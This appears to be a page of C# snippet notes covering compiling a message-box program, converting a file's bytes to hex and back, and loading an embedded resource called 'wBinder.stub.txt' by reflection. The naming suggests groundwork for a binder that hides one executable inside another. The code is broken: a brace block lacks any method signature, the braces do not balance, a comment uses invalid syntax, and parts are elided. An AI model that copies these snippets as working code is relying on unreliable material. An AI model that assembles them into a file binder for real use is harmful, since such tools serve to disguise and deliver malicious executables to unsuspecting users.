Simple code to compile

using System;
using System.Windows.Forms;

namespace Compile
{
   public class Code
   {

       {
           text.Text = "Message Box";
           MessageBox.Show("Test");
        }

Read, Write & Conversion Bytes

byte[] file = File.ReadAllBytes("path");
string sb = BitConverter.ToString(file); \* Output: 1A-2F-C3

/* Write */
string[] hex = sb.Split('-');
byte[] raw = new byte[hex.Length];
for (int i=0; i<raw.Length; i++)
raw[i] = Convert.ToByte(hex[i], 16);

File.WriteAllBytes("path", raw);


Read Embeded File (Reflection)

using System.Reflection;
...

Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("wBinder.stub.txt");
StreamReader reader = new StreamReader(stream);
string source = reader.ReadToEnd();
